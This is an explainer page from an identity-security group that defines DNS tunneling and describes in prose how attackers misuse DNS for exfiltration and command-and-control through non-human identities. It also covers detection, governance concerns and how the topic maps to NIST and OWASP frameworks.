DNS tunneling is the use of DNS queries and responses to carry hidden data for command-and-control or exfiltration. Because DNS is commonly trusted and lightly inspected, attackers can hide malicious communication inside traffic that looks routine at first glance.
Expanded Definition
DNS tunneling is a covert communication technique that repurposes DNS lookups and replies to move data outside intended controls. In NHI environments, it is especially dangerous because service accounts, API keys, and automation hosts can generate high-volume DNS activity that appears routine unless traffic is inspected against behavioral baselines.
Definitions vary across vendors on whether DNS tunneling is treated as malware behavior, exfiltration, or command-and-control transport, but the operational pattern is consistent: data is encoded into subdomains, query frequency, or response payloads and then decoded by a receiving endpoint. That makes it different from ordinary DNS misuse such as cache poisoning or domain spoofing, because the protocol itself is being used as the carrier for hidden instructions or stolen data. Guidance from the NIST Cybersecurity Framework 2.0 helps organizations anchor detection to anomalies in network communications, not just blocked destinations.
DNS tunneling is commonly misapplied when teams assume “DNS traffic” is automatically benign and fail to correlate it with identity context, process lineage, or unusual endpoint behavior.
Examples and Use Cases
Implementing DNS monitoring rigorously often introduces operational overhead, requiring organisations to balance tighter inspection and alerting against the risk of false positives in normal application traffic.
- An attacker encodes stolen secrets into long, randomized subdomains and sends them through a compromised build agent to an external domain.
- A malware implant uses DNS queries as a command channel when outbound HTTPS is blocked, allowing tasking to continue through a permitted protocol.
- A cloud workload with excessive privileges is abused to resolve attacker-controlled domains, and the repeated lookups hide small chunks of exfiltrated configuration data.
- An incident response team finds that unusual DNS volume from a service account aligns with exposed credentials discussed in the Ultimate Guide to NHIs, showing how weak NHI governance can become an enabling condition.
- Security analysts baseline recursive resolver behavior and then compare it with techniques described by the NIST Cybersecurity Framework 2.0 to spot DNS patterns that do not match expected application use.
DNS tunneling is often a sign that the attacker already has some foothold, because it depends on an endpoint, credential, or process that can still initiate outbound name resolution.
Why It Matters in NHI Security
DNS tunneling matters in NHI security because non-human identities often operate at machine speed, across cloud, CI/CD, and service-to-service paths where DNS is deeply embedded. When those identities are over-privileged or poorly inventoried, DNS becomes a convenient covert channel for both exfiltration and command-and-control. NHIMG research shows that 80% of identity breaches involved compromised non-human identities such as service accounts and API keys, and 97% of NHIs carry excessive privileges, which increases the chance that a single compromised workload can sustain hidden communications. That makes DNS inspection a governance issue, not just a network issue. The Ultimate Guide to NHIs also notes that only 5.7% of organisations have full visibility into their service accounts, which helps explain why tunneling often persists unnoticed.
Security teams should treat DNS tunneling as a signal to review secret handling, service-account scope, outbound egress policy, and logging fidelity together. Organisations typically encounter the true operational cost only after a suspicious domain pattern reveals an active breach, at which point DNS tunneling becomes operationally unavoidable to address.
Standards & Framework Alignment
This section maps relevant standards and security frameworks to the operational risks and controls described in this guidance.
OWASP Non-Human Identity Top 10 address the attack and risk surface, while NIST CSF 2.0 and NIST Zero Trust (SP 800-207) set the governance and control requirements practitioners need to meet.
| Framework | Control / Reference | Relevance |
|---|---|---|
| OWASP Non-Human Identity Top 10 | NHI-02 | Covers secret exposure and abuse pathways that enable covert DNS-based exfiltration. |
| NIST CSF 2.0 | DE.CM-7 | Defines monitoring for anomalous network communications, including DNS tunneling patterns. |
| NIST Zero Trust (SP 800-207) | Zero Trust limits implicit trust in network paths that tunneling abuses. |
Reduce secret exposure, monitor NHI behavior, and investigate anomalous outbound DNS from workloads.
Related resources from NHI Mgmt Group
- What breaks when internal DNS names are preserved but access governance is not updated?
- How should security teams govern SSH tunneling in production environments?
- Why do DNS and edge configuration changes create IAM and security risk?
- What breaks when DNS resolver bugs affect an identity-aware proxy?
Deepen Your Knowledge
Reviewed and updated by the NHIMG editorial team on June 23, 2026.
NHI Mgmt Group — the #1 independent authority on Non-Human Identity, IAM, and Agentic AI security. nhimg.org
